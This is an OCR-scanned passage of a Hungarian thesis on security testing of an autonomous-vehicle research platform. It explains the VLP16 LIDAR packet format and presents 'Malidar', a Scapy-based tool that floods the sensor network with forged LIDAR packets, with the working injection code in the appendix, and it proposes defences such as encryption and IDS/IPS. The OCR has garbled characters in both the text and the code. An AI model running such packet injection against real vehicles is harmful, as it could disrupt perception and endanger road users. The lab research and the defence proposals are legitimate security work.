egy motor forgatja korbe, igy képes a kornyezetét minden irdnyba mérni.
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19. abra. Laser szogek, lidar lefedettsége

A szenzor a time-of-flight elv alapjan méri a tavolsagokat: a lasernyalab kibo-
csdjtasa, és a visszaverddd fény detektalasa kozotti idd, illetve a fény sebességének
tudataban szamithaté a nyaldb altal megtett ut. Meérés folyaman, ahogy a laser
nyalab tavolodik a szenzortol, egyben annak keresztmetszete is n6. Tavoli objektu-
mok esetén ez azt is eredményezheti, hogy a nyaldb tobb targyrol is visszaversdik
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(37), ennek megfeleléen a VLP16-os LIDAR tébbféle képpen is felkonfiguralhato,
annak megfelel6en, hogy melyik visszaver6dés értelmezendd pontként: legutolso,
leger&sebb jel, vagy paros visszatérés esetén mindkét jelet megkapjuk.

A VLP16 IP alapu hélozaton terjeszti a mért adatokat, UDP csomagok forma-
jaban. Két féle csomag érkezhet a LIDAR felsl: poziciora vonatkozd (GPS), illetve
3D pontfelhd adatok. Szémunkra csak a pontfelhS a lényeges, igy csak ezt fogjuk
részleteiben targyalni.

A szenzor a mért pontokat gombi koordinata-rendszerben adjna meg sugar (R),
azimut («), és emelkedés (w) koordinatakkal. Egy pont, egy laser csatorna egyszeri
mérését jelzi, és harom bajt-nak felel meg. Ebbdl két bajta tavolsagot (sugér), a har-
madik pedig a mért feliilet kalibralt visszaverSképességét jeloli. Mérési sorozatként
definialjuk azt, amikor mind a 16 csatorna végez egy mérést. A pontok mérési so-
rozaton beliili elhelyezkedése hatarozza meg a koordinata emelkedését (w), példaul:
minden sorozat els6 pontjanak az emelkedése -15°. Ezeket az allando emelkedéseket
a gyarto tablazatban definidlja. Egy adatblokk két mérési sorozatbol all, tovabba
kiegésziil 2 bajtnyi flaggel (OxFFEE), ami a blokkok kezdetét jelzi, illetve 2 baj-
tazimut értékkel, ami elGjel nélkiili egész szamként értelmezendd, és értéke szazad
fokot reprezental, tehat a 27245-0s érték 272.45°-nak felel meg. Minden adatcso-
mag 1248 bajthosszi, amibdl az els6 42 bajtprotokoll header, ezt koveti 12 (12*100
bajt) adatblokk, 4 bajt hosszi timestamp, és két gyari bajt, ami segitségével detek-
talhato a LIDAR tipusa, vagyis az adatcsomagok felépitése. A timestamp 32-bites
elgjel nélkiili egész szam micromasodpercben reprezentalja az elsé blokk, els mérési
sorozatanak elsé pontjanak id6pillanatat, az utols6 egész ora 6ta eltelt idGként. A ki-
valasztott visszatérés konfiguraciot az adatcsomagok felépitése is titkrozi (20). Paros
visszatérés esetén az adatblokkok paronként értelmezenddk, a paratlan szamu blok-
kok tartalmazzak a legerésebb, mig a parosak a legutolsé észlelt jelet. Amennyiben
csak egy jelet észlelt a szenzor, a blokk péarok tartalma megegyezik.

20. abra. Adatcsomag struktura egyes és péaros visszatérés esetén [6]

A tamadast a siker felé mozditja az a tény is, hogy a fentebb targyalt specifikaciok
barki szamara ingyen elérheték a gyarté weboldalan.
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5.4.2. Objektumfelismerd szoftver

Az objektumfelismerd szoftvert a SZTAKI fejlesztette az autonéom platformhoz, és
a LIDAR fel6l beérkez6 pontfelhé adatbol fordit detektalt objektumok relativ pozi-
cibjara, illetve azok méretére, melyeket soros porton kiild tovabbi hasznalatra. Az
felismert targyak adatait 26 bajthosszii csomagokban kiildi, melyek szerkezetét a
5.6 pontban tagyalunk részletesebben. A szoftverhez grafikus felhasznaloi feliilet is
tarsul, ahol a ki- és bemenetek konfiguracidja, valamint a beérkezé pontfelh§ vizu-
alizacioja is megtalalhato.

B Camera Lidar streamer
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21. 4dbra. Objektumfelismerg szoftver grafikus feliilete

A szoftver forraskodja szamunkra ismeretlen, igy fekete dobozként tekintve ra,
elsé korben csak befolyasolni szeretnénk azt, habar a jovében érdekes teszteset lehet
a beérkezd csomagokat feldolgozoé modul, vagy a grafikus feliilet konfiguraciés me-
zGinek kijatszasa, igy kényszeritve a programot futtatdé ECU-t sajat kod futtatésara
(remote code execution).

5.5. Tamadas kivitelezése - Malidar szoftver

A Malidar (Malicious LIDAR) a projekt keretein beliil fejlesztett szoftver, aminek
egyetlen célja a LIDAR és az objektumfelismerd szoftver kozotti halozat zavarasa.
A szoftver két {6 osztalybol épiil fel:

A NetworkInjector osztaly felels a generédlt csomagok halézatba juttatasaért
(27). Dependency injection design pattern-t alkalmazva az osztaly példanyositésa-
kor sziikséges megadni a hasznaland6 packet generald osztaly példanyat. A kom-
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ponensek kiilonvalasztésa lehetévé teszi tobbféle csomaggeneralasi stratégia alkal-
mazasat, példaul: DoS, illetve flooding funkcié, ahol random adatokat tartalmazo
csomagokkal arasztjuk el a hélézatot, ezzel blokkolva a megbizhaté mikodést, vagy
"okos" beavatkozas is lehetséges, miszerint virtualis falat hazudunk az auto6 elé, igy
megallasra, vagy kanyarodasra kényszeritve azt.

A PacketGenerator Gsosztaly egy interface-t definial, amit minden csomag ge-
neralo osztalynak implementalnia kell, annak érdekében, hogy a NetworkInjector
hasznélni tudja azt (28). A leszarmazott osztalyoknak csak a get data fliggvényt
kell implementalni, aminek az 5.4.1 pontban targyalt strukturaja bajtstringet kell
visszaadnia, amit aztan a get packet fiiggvény visszatérés el6tt megfeleld halozati
protokoll headerekkel vesz korbe. A 29-es abran lathato egy konkrét haldzat flooder
implementaci6, ami random adatokkal tolti fel a generalt halozati csomagokat.

Kiemelendd, hogy a kommunikacié természetébdl fakadodan, a LIDAR adatokhoz
a Malidar csak hozzdadni képes, kijelolt valos objektumokat nem tud elttintetni, ez
az objektumfelismerd szoftver kimenetének tdmadasaval kivitelezhet6.

A Malidar hélézati funkciojat, illetve részben a packetek generalasat egy kiilss
python modul, a Scapy latja el. A Scapy hélozati csomagok lehallgatasara, kiildésére,
gyartasara, és elemzésére fejlesztett szoftver. A fejleszték szerint [7]| a kiberbizton-
sdgban hasznalt szoftverek (nmap, tcpdump, stb...) nagy részét képes kivéltani.
A Scapy kifejelezzen automotiv kornyezetekben hasznélt halozatok - mint példéaul
CAN, LIN, vagy FlexRay - kezelésére is alkalmas, a jovében a platform tovabbi
sériilékenységeinek feltarasaban is hasznos eszkoz lesz.

5.6. Tamadas eredménye

Sikeresnek tekintjiik a tAmadast, amennyiben az objektumfelismerd szoftvert, a tér-
gyalt sériilékenységeket kihasznalva sikeresen befolyasoljuk. A kivant hatéast egy-
részt a szoftver grafikus feliiletén lathatd pontfelhd vizualizacidval validalhatjuk. A
tdmadashoz a 29-as abran lathato flooder osztalyt hasznaltuk. A tamadéshoz elindi-
tottuk, majd felkonfiguraltuk az objektumfelismerg szoftvert, hogy melyik halozati
interfac-en varja a LIDAR adatokat, végiil elinditottuk a Malidar szoftvert is. A 22.
abran megfigyelhetd, hogy tamadas alatt a szoftver a valos adatok nagy részét eldob-
ja, normél miikddéshez képest a kirajzolt pontfelhd jelentGsen eltér, tehat a vizualis
validéacio sikeresnek tekinthetd.
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22. abra. Objektumfelismerd szoftver normal iizemmodban (bal), és tamadas alatt
(jobb)

Azonban a szoftver pontos miikodésének ismeretének hianyaban, ez az eredmény
nem tekinthetd szaz szédzalékig pontosnak, mivel nem lehetiink biztosak benne, hogy
a vizualizacié 6sszhangban van a soros portra irt adatokkal, tehéat sziikség van egy
mésodlagos validéciéra, ami a soros portra irt adatokat figyeli. Ehhez hasznalhat-
nank kiilon szamitogépet, vagy mikrokontrollert (pl.: Arduino), azonban a legegy-
szertibb a szoftverrel azonos gépen a hasznalt COM portot vizsgalni, viszont egy
COM portot egyszerre csak egy process képes igénybe venni, tehat nem lennénk
képesek egyszerre irni, és mésik szoftverrel olvasni azt. Ennek kikiiszobolésére a
com(Ocom nevii szoftvert alkalmaztuk, ami képes virtualis COM port péarokat létre-
hozni. Az objektumfelismers szoftver, és a validacios script is ra tud csatlakozni
egy-egy COM portra, amik kozott a comOcom képzi az dtmenetet.

comOcom

python validator
script

Objektumfelismerd
Szoftver

» COM4 » COM5 >

23. abra. Kimenet validacios pipeline

A validator egy egyszerid python script (30), ami soros portrol képes adatokat
olvasni a PySerial csomag segitségével. Egyszerre kétezer bajtnyi adatot olvas be,
amit egy nagy tombben tarol el. Ez azonban emberek szamara nehezen olvashato,
ezért némi feldolgozéasra van sziikség. Az objektumfelismerd szoftver jol elkiilonit-
hetd, 26 bajthosszii csomagokban, egyesével kiildi a felismert targyak adatait, tehat
az elsé lépés ezek kinyerése az egy nagy tombbdél. A hatarokat két-két bajtjelzi a
csomagok elején (0xFF) és végén (0xF0), a kozottiik talalhato adat elss két béjtja az
objektum identifikilasat szolgalja. A maradék 20 bajt - amit a struct modul alakit
4 bajtos egész szamokka - az objektum relativ pozicidjat és méreteit jelzi, illetve
egy szamlalo mutatja, hogy hany frame-en keresztiil sikeriilt kovetni. A feldolgozott
csomagokat megfigyelhetjiik a 24. 4brén, ahol egy sorban egy csomag lathato. Eze-
ket a script késébbi feldolgozashoz egy file-ba menti el a pickle modul segitségével,
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ami lehet6vé teszi python struktirdk mentését, scriptek kozotti atvitelét.

A validalas harom lépésben torténik: az els6 mérést normél miikodés alatt veé-
gezziil el, amit viszonyitasi alapként hasznalunk. Ezt koveti egy masodik mérés,
ez mar a tdmadas alatt all6 rendszer kimenetét rogziti, végsé sorban a két mérés
Osszehasonlitasat végezziik el, ami alapjan igazoljuk (vagy megcafoljuk) a tamadéas
sikerességét.

A mérések menetét az alabbiak szerint hajtottuk végre: elinditottuk, majd fel-
konfiguraltuk az objektumfelismetd szoftvert. A 21. dbra bal oldalan megfigyelhetd
egy play gomb, ami az iizenetek feldolgozasat inditja/allitja meg, tovabba harom
checkbox, amikkel kivilaszhato az objektumok detektélasanak modja. A szoftver
csak akkor irja ki az adatokat a soros portra, ha a kozépsé "tracking" opcié van
kijelolve. A konfigurécios feliileteken (33) kivalasztottuk a megfelels6 COM portot,
illetve az szenzoradatok forrasat, kivalasztottuk a legalso checkboxot (ez nem hajt
végre objektumfelismerést, csak a pontfelh6t mutatja), valamint elinditottuk a be-
érkez adatok feldolgozésat. Ezekkel a 1épésekkel az objektumdetektald szoftver
kész, elindithatjuk a validator scriptet is. Amennyiben mindkét szoftver fut, az ob-
jektumfelismerd szoftver feliiletén elindithatjuk a detekralo algoritmust (checkbox),
ami hatarasa a validator kimenetén megjelennek a beolvasott adatok. Az aldbbi
procedira a baseline mérést irta le, azonban a tdmadas soran is hasonl6 az elja-
rés, az egyetlen kiilonbség, hogy az objektumfelismerés aktivalasat a tamado script
inditasa el¢zi meg.

S C:\Users\hbit\Desktop\teszt_validacio> python .\serial_pickler.py
. i} . ] ] Listaning on COM>

PS C:\Users\hbit\Desktop\teszt_validacio> python .\serial_pickler.py Ter 12000"
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24. abra. Soros portrol kiolvasott adatok norméal mikodés (bal), és tamadas alatt
(jobb)

Els6 ranézésre a két abra kozott nem lelhetd fel lényegesebb kiilonbség, azonban
részletesebb vizsgalat utdn bebizonyosodik, hogy a tamadas sikeres volt. Szamunkra
az utolso 4 oszlopbol leolvashato pozicio és méret adatok, illetve a masodik oszlopban
talalhato szamok lényegesek, ezek az egyes felismert objektumok egyedi azonositoi.
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A bal oldali képen megfigyelhetjiik, hogy az azonos azonositoval ellatott sorok po-
zicid és méret adatai szinte megegyeznek. Az autoném platformon mozgés kézben
nem ez az elvart miikodés, azonban a teszt kornyezet statikus, a szenzorhoz képest
a kornyezete nem mozog, tehat az értékek a valosagot tiikrozik. Ezzel ellentétben
a jobb oldali kép sokkal kaotikusabb, azonos targyakhoz jelentGsen eltérd tulajdon-
sagokat rendel, a valds rendszerben toviabbhaladva ezekez az adatok definidlatlan
magatartashoz vezetnének, az auto failsafe iizemmaodba, hiba esetén el6irt allapotba
keriilne, az Ut szélére htzodna.
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6. EREDMENYEK ERTEKELESE

6.1. Javaslatok a sériilékenységek javitasara

6.1.1. Titkositas és autentikacio

Napjainkban a kiberbiztonsag a beépitett elektronikai eszk6zok névekvs komplexités
miatt egyre nagyobb jelentGséget kap a jarmiiparban. A bemutatott sériilékenységi
teszt ramutatott arra, hogy amennyiben a gyartok nem szentelnek kell§ figyelmet a
biztonsagnak, a rendszereik viszonylag egyszert tamadasoknak is ki vannak téve. A
vizsgalt autoném platform nem gyartasra, illetve piacra szant, hanem egy kutatast
elGsegitd rendszer, igy a biztonsagi szempontok nem keriiltek szem elé annak tervezé-
sekor. Habar onvezets funkciok kutatasara, fejlesztésére lett 1étrehozva, a platform
biztonsagbeli hianyossagai kivalo kornyezetet nyujt autdipari biztonsag kutatéséara
és fejlesztésére.

Jelenlegi felépitésben a legnagyobb biztonséagi rést a titkositas (confidentiality)
jelenti, melynek poétlasa nagy mértékben megnehezitené a tamadok dolgat. Titko-
sitd algoritmusok egyrészt az adatok olvasas elleni védelmét, masrészt a kiilds fél
azonositasat is biztositand. Sharaf és tarsa [24] a jarmi kornyezetbe felhasznéal-
hato autentikacidval egybekotott cypher algoritmusokat vizsgaltak, tobbek kozott
gyorsasag, energiafogyasztas, és implementalhatdsag szempontok alapjan.

Wolf és tarsai |28] szimmetrikus és aszimmetrikus kulest titkositassal oldana
meg a problémat. Mindkét modszer kulcsok segitségével alakitja at a titkositando
szoveget. A szimmetrikus kulcsu rejtjelezésben a kiilds, és a fogadé fél is ugyanazt
a kulcsot hasznélja az tlizenet kodolasahoz és megfejtéséhez, aminek elénye, hogy
az eljaras gyorsan elvégezhetd, és nem eréforras igényesek, ezért ezt alkalmaznék a
kommunikacié titkositasara. A legismertebb ilyen rejtjelezések az AES és a DES.
A probléma a kulcsok disztribuciojakor mertl fel, azaz: hogyan egyeztek meg a fe-
lek a kulesrol? Ennek athidalaséra a nyilt kulest, mésnéven aszimmetrikus kulest
titkositast alkalmaznak, melynek lényege, hogy a szimmetrikus kulccsal ellentétben
minden fél sajat kulcsparral rendelkezik, melyek koziil egyet titokban tartanak, a
masik viszont szabadon terjesztheté barki szamara. A kulcsok kiilonleges tulajdon-
sdga, hogy matematikailag Osszefiiggenek, egyiket sem lehet derivalni a mésikbol,
viszont az egyikkel titkositott iizenet csak a mésik kulccsal oldhato fel. Tételezziik
fel, hogy ECU A {izenetet szeretne kiildeni ECU B-nek. Ha A titkositja az lizenetet
B publikus kulcsaval, akkor azt csakis B tudja értelmezni, azonban ha elébb A a
sajat privat kulcsaval titkosit, és csak utdna B publikus kulcsaval, B-nek a sajat pri-
vat kulesan kiviil A publikus kuleséat is fell kell hasznalnia, tehat biztos lehet benne,
hogy valéban A-t6l érkezett az iizenet. A legismertebb nyilvanos kulcsi algoritmus
a Diffie-Hellmann.
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25. abra. Aszimmetrikus rejtjelezés

6.1.2. Behatolasdetektalasi- és védelmi rendszerek

A titkosito algoritmusok hatuliitGje, hogy a kommunikal6 felek mindegyikének imp-
lementalnia kell azt. Amennyiben a rendszer valamennyi elemét egy csoport fejleszti
ez nem jelent nagy problémét, azonban - mint az autoném platform esetében - ha
harmadik féltél szarmazo hardware-t, illetve szoftvert alkalmaznak, amikben ez a
funkcié nem elérhetd, mas modszert kell alkalmazni a rendszer védelmére. Az ilyes-
fajta problémékra halozat alapt behatolasdetektalo (IDS), vagy behatolasvédelmi
(IPS) rendszerek nyujthatjak a megoldast. A két technologia miikodésében kicsi az
eltérés, mindketts illetéktelen halozati forgalom észlelésére alkalmas, azonban amig
az IDS csak észeleli azt, és jelentést tesz (példaul a rendszergazdanak), addig az IPS
aktivan igyekszik blokkolni a kartékony forgalmat.

A behatolésok detektalasanak két £6 fajtajat kiilonboztetjiikk meg: a régota alkal-
mazott szignatira alapu detektélas, ami elére meghatarozott minték felismerésére,
és ismert sériikénységeket kihasznald tamadésok észlelésére képes. Elsfodulhat az
eset, hogy a rendszer auditalasakor egy tamadasi vektort nem észleltiink, és igy az
IDS-t sem tudtuk felkésziteni annak észlelésére. Ezekre az esetekre fejlesztették ki az
anomalia alapt behatolasészlels rendszereket. Ezek, habéar sokkal komplexebb rend-
szerek, képesek eddig fel nem tart sériilékenységek észlelésére is, gyakran valamiféle
gépi tanuléds modszert alkalmazva.

6.1.3. Javasolt javitasok

Az els6 javaslat a 6.1.1 pontban targyalt titkositési eljaras integralasa a rendszerbe.
Ennek el6késziileteként érdemes lehet egy révid tanulmény elvégzése, mely tobbek
kozott pontosan felméri az egyes komponensek kozott athaladé adatmennyiséget,
valamint az egyes node-okban rendelkezésre allo szamitasi kapacitast, mely alapjan
kivalaszhato a célra megfelel§ titkositasi algoritmus. Ez azonban csak az autoném
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platform azon elemei kozott lehetséges, melyeket teljes mértékben a rendszer fejlesz-
t6i kezelnek, képesek az ECU-kon futd szoftver modositasara.

Harmadik félt6l szarmazo hardware esetén, ahol firmware modosités nem leheté-
ges (példaul a vizsgalt VLP 16-os LIDAR szenzor), azok elszigetelt, homokoz6 héa-
lozatba koltoztetését javasoljuk. A halozatban egy kozponti halozatfeliigyel egység
latna el a router/switch feladatéat, ezen futna a halézatot feliigyels IDS/IPS rend-
szer, valamint implementalja a platform tobbi részével torténd kommunikaciohoz
sziikséges titkosito algoritmusokat, és egyfajta tiizfalat képezne kozottiikk. Amennyi-
ben a kozponzi egység kartékony tevékenységet észlel a halézaton, meggatolja az
adatok tovabbitasat az objektumfelismerd szoftver felé, valamint jelzi a probléma
felmertiltét.

Third-party Szenzot
Sandbox Haldzat

Szenzot 1 Szenzor 2 Szenzor n

A Fy ~

/ ///'
-"’_'_,,.-""'.
titkositas
nélkdli

kommunikacié v

h 4 Y

Halbzatfellgyeld-
és Iranyitd
Egység

h 4

Objektumfelismerd titkositott
Szoftver kommunikacia

h 4

Autondm Rendszer
Tovabbi Elemei

26. abra. Javasolt halozati felépités

A javasolt felépitésben a kozponti egység kulcsfontossagi elemét képzi a rendszer-
nek, igy annak a védelme kiilondsen nagy prioritast élvez, hardveres manipulécio,
szoftveres tamadas rengeteg formaja ellen fel kell késziteni azt.

6.2. Jov6ben elvégezhets tovabbi tesztek

Emlitettiik, hogy habar a felépitett teszt kdrnyezet olyan komponenseket is tartal-
maz, amiket a szakdolgozatban targyalt sériilékenységi tesztek nem érintettek, a
jovében viszont kivald alapot képeznek tovabbi vizsgalatok elvégzésére.
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A Malidar szoftver modularis architekturaja lehetévé teszi tjabb tamadasi stra-
tégiak, példaul spoofing kidolgozasét, ahol nem random adatokkal, hanem a rendszer
szamara valosnak ting virtualis akadalyok tévesztjiik meg a rendszert. A hélézatok
tamadésa terén, a dSpace ECU-t és a szimulacios szoftvert 0sszek6té masodlagos
CAN halozat is érdekes lehet. A titkositds hianya itt is lehetévé teszi a DoS és
spoofing tamadésokat, tovabbé a szakirodalmakban kifejtett CAN sériilékenységek
implementacioja is érdekes kihivasokat rejthet.

A targyalt LIDAR biztonsagi problémakbol arra lehet kovetkeztetni, hogy a szen-
zor egyéb sériilékenységeket is rejteget. A konfiguracidés weboldalt szolgaltaté hard-
ware megismerése, esetleges egyéb nyitott kommunikaciés portok feltarasa nmap
szoftverrel, a webes feliillet input mezdinek a tesztelése az OWASP top 10 web-
applikacios sériilékenységek ellenérzésével gyakran alkalmazott tesztelési eljarasok,
amik érdekes eredményekhez vezethetnek. Ugyanugy az objektumfelismerd szoftver
konfiguracios feliiletének tesztelése buffer overflow-val, vagy a LIDAR packeteket fel-
dolgozd modul kijatszéasa, a megszokott strukturatol eltérsé kartékony csomagokkal
akar RCE-hez is vezethet (Remote Code Execution).

Habar a projekt keretein beliil nem tettiink ilyesmire vallalast, szakmai fejlédés
szempontjabol kivalo feladat lenne a javaslatok implementalésa, és a tesztek tjboli
elvégzése, hogy megbizonyosodjuk az altalunk felvetett orvoslatok validsagarol. Ha
a titkosités részét nem is lennénk képesek kivitelezni, hisz az ECU-kon futé szoft-
verek forraskodjai nem allnak rendelkezésiinkre, a szenzorokat korbefoné homokozo
kornyezet megvalosithaté lenne szamunkra. Szédmos nyilt forraskéda behatolasde-
tektalo szoftver létezik, és halozati osztalyként a hardver oldali megkozelités sem
allna tavol t6liink. Habar a felvetett izolacios kornyezet kidolgozottsag hianyaban
tartogathat meglepetéseket a biztonség terén, annak sikeres implementacioja egy pi-
acképes megoldashoz vezethet, amelyet nem csak az autdiparban, de akar gyartosori,
vagy egyéb automatizalt kornyezetben is alkalmazhato.

A felépitett teszt kornyezet kivaloan teljesitette a feladatéat, a jovében viszont
fontos lenne visszajelzés, és szakmai fejlédése szempontjabol, hogy a tesztjeinket
ne csak szimulalt kornyezetben, de a valoés autoném jarmiivon is el tudjuk végezni.
Amennyiben hozzaférést kapnank az autoném jarmiihoz, azt komplexebb tesztelés-
nek is aléd tudnénk vetni.
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7. OSSZEFOGLALAS

A szakdolgozat egy SZTAKI-s projekt keretein beliil jott létre, aminek a célja egy
onvezetd funckiok fejlesztésére létrehozott autoném platform tesztelése biztonsagi
szempontok alapjan. ElGszor bemutatéasra keriiltek a napjainkban gyakran alkalma-
zott jarmdipari alkatrészek: a vezérls elektronikak, illetve az Gket 0sszekotd halozati
tipusok, miutan korabbi cikkek, és konyvek segitségével ezen komponensek tamadasi
vektoraikat kielemeztiik, és megismertiik az elleniik bevethetd tamadasi metodusokat
is. Bemutatasra keriiltek a platform egyes elemei is, melyeket a megismert sériilé-
kenységek alapjan vizsgaltunk. Létrehoztunk egy hardware-in-the-loop kétnyezetet
a sériilékenységi tesztek végrehajtasara, melyek részben a platformon megtalélhato
elemekkel megegyez6 komponensekbdl épiiltek fel, tovabba a tamadésok végrehaj-
tasara alkalmas szoftvert is lefejlesztettiik. Sikeres tamadassal igazoltuk a rendszer
sériilékenységét, valamint javaslatokat is tettiink ezek javitasara, és a jévGben elvé-
gezhet6 tovabbi mérésekre.

Habar a szakdolgozat az autoéipari kiberbiztonsag téméjat koran sem meritette
ki, remélem hozzajarul annak fejlédéséhez, és jo kiindulasi pontot biztosit a téma
irant érdekl6ddk szamara.
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A. KODOK
A.1. Malidar

59 from scapy.all import *

[+15)

61 class NetworkInjector:

62

63 def __init__(self, network_iface, packet_generator):

64 self.network_interface = network_iface

65 self.generator = packet_generator

17

67 def run(self, total_packets=18080, buff_size=1@, continuous=False):

68 #buff_size - 18 packets should contain (12{block)*32(point) [packet])+*188=3848 points
69 print(f"Starting injection on interface: '{self.network_interface}'")
78

71 while True:

72 for _ in range(®@, total_packets, buff_size):

73 sendp(

74 list{self.generator.get_packets{buff_size}),

75 iface=self.network_interface

76 )

77

78 if not continuous:

79 print(“Continouos mode was not defined, finishing injection")
88 break

Bl

82 def main():

83 packet_gen = PacketGenerator()

84 injector = NetworkInjector(“eth®", packet_gen)

85 injector.run()

86

87 if __pame__ == "_ main_ ":

88 main()

89

27. dbra. NetworkInjector osztaly
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1 Hrom scapy.all import =

class PacketGenerator:

Base class for generating malicious packets

def

def

def

def

__init__(self, sender_addr, sender_mac, dest_addr, dest_port):
self._sender_addr = sender_addr
self._sender_mac = sender_mac

self._dest_addr = dest_addr
self._dest_port = dest_port

get_packets(self, num):
for _ in rangel(num):
yield self.get_packet()

get_packet(self):

# Create one packet with scapy

pkt = Ether(src=self._sender_mac, dst="ff:ffiffiff:ffiff")/ \
IP(src=self._sender_addr, dst=self._dest_addr)/ \
UDP(sport=self._dest_port, dport=self._dest_port)/ \
self._get_data()

return pkt

_get_data(self):
raise NotImplemented("Subclasses should implement this function")

28. abra. PacketGenerator Gsosztaly
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10 from packet_generator import PacketGenerator

11

12 class FloogingPacketGenerator(PacketGenerator):

13 e

14 This class generates packets for network flooding applications.
15 That means packet data is generated randomly.

16

17

18 AZIMUT = @

19

20 def __init__(self):

21 super()._init_ (

22 "10.111.1.2", #source ip

23 "60:76:88:10:21:08", # source mac

24 "10.111.1.111", # destination ip

25 2368} # destimation pert

26

27 def _get_data(self):

28

29 Generate random, 1208 bytes long data

30

31 t = datetime.now()

32 timestamp = int.to_bytes(t.minute * 60080000 + t.second * 1000000 + t.microsecond, 4, "little")
33 factery_bytes = b'7"'

34 data = timestamp + factory_bytes

35

36 for _ in range{12):

37 data = self._create_block() + data

38

39 return data

40

41 def _create_block(self):

42

43 flag = b"\xffixee"

44 azimuth = int.to_bytes(self._get_azimut(), 2, "little") # angle = 188
45

46 block = flag + azimuth

a7

48 while len(block) < 1@8:

49 dist = int.to_bytes(random.randint(@, 1eea), 2, "little")
50 refl = randem.randbytes(1)

51 block += dist + refl # one point = distance + reflectivity
52

53 return block

54

55 def _get_azimut(self):

56 ret = JammingPacketGenerator.AZIMUT % 36000

57 JammingPacketGenerator.AZIMUT += 1

58 return ret

5Q

29. abra. PacketGenerator flooder implementécio
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A.2.

Soros kimenet validator

36 L:_|if __name == "_main ":

37 read_data = b""

38 print ("Listaning on COM5™)

35 —| with serial.Serial ({port="CCHS", timeout=5) as port:

40 try:

41 — while True:

42 data = port.read(l00)

43 read data = read data + data

44 print (" "#20, end="'r") # clear previous line
45 print(f"Data length: '{len(read data)}'", end="'r")
46

47 —| if len(read data) == 2000:

8 break
2 except EeyboardInterrupt:

50 pass
S —| finally:

2 print{"") # fix any printing disturbances from line 40 and 41
53 output_file name = input("Cutput pickle fi ]
54 output_file name = output_file nmame + ".pi
Sl
te parsed data = parse_data(read_data)
ST Eﬂ for packet in parsed data:

8 o print (packet)
58
&0 Eﬂ with open(output_file name, "wh") as f:
61 - pickle.dump (parsed data, f)
62
63 print ("D ‘“‘nPickled output > {output_file name}")
64 b

30. abra. Validaciés python script

8 E|def parse_ data(data):

] # 1 packet = 26 bytes
10 # -> 2 bytes header, 2 bytes tail
11 # -> 1 byte frame object ID, 1 byte tracking cbject ID
12 % 4 byte counter
13 3 = 16 byrte positional data
14
15 split_data = []
1le |:—:| for 1 in range(0, len(data), 2&):

17 = split_data.append(data[i:i+26])

19 4# last packet might not be full length

= if len(split data[-1]) < 2&:
e split_data.pop ()

23 parsed = []

24 [H for raw in split_data:

25 naked = raw[2:24] # removed headesr and tail

26

27 frame_obj_id = naked[0]

28 tracking_obj_id = naked[l]

T counter, dx, dy, rx, ry = struct.unpack(">iiiii", naked[2:22]) # '>' = read as big endian
30

31 B parsed.append ((frame_obj_id, tracking obj_id, counter, dx, dy, rx, ry))
32

33 = retqrn parsed

31. abra. Soros portrél olvasott adatfeldolgozo fliggvény
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B. KEPEK A TESZTKORNYEZETROL

34. abra. dSpace MAB 11, és a hozza sziikséges CAN atalakito

46



=
| 4ln]>| oo 59t [Ogpees <] ———— |

35. abra. CarSim szimulécids szoftver
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C. LIDAR

Side View §

)p Data Point

/s / ) {
X R*COS(w)
X= R*COS(w)*SIN(cx)

= R*COS(w)*COS(ax)
= R*SIN(w)

36. abra. LIDAR koordinata rendszer [6]

Last Return
Strongest Return

37. abra. Visszaver&dési modok (6]
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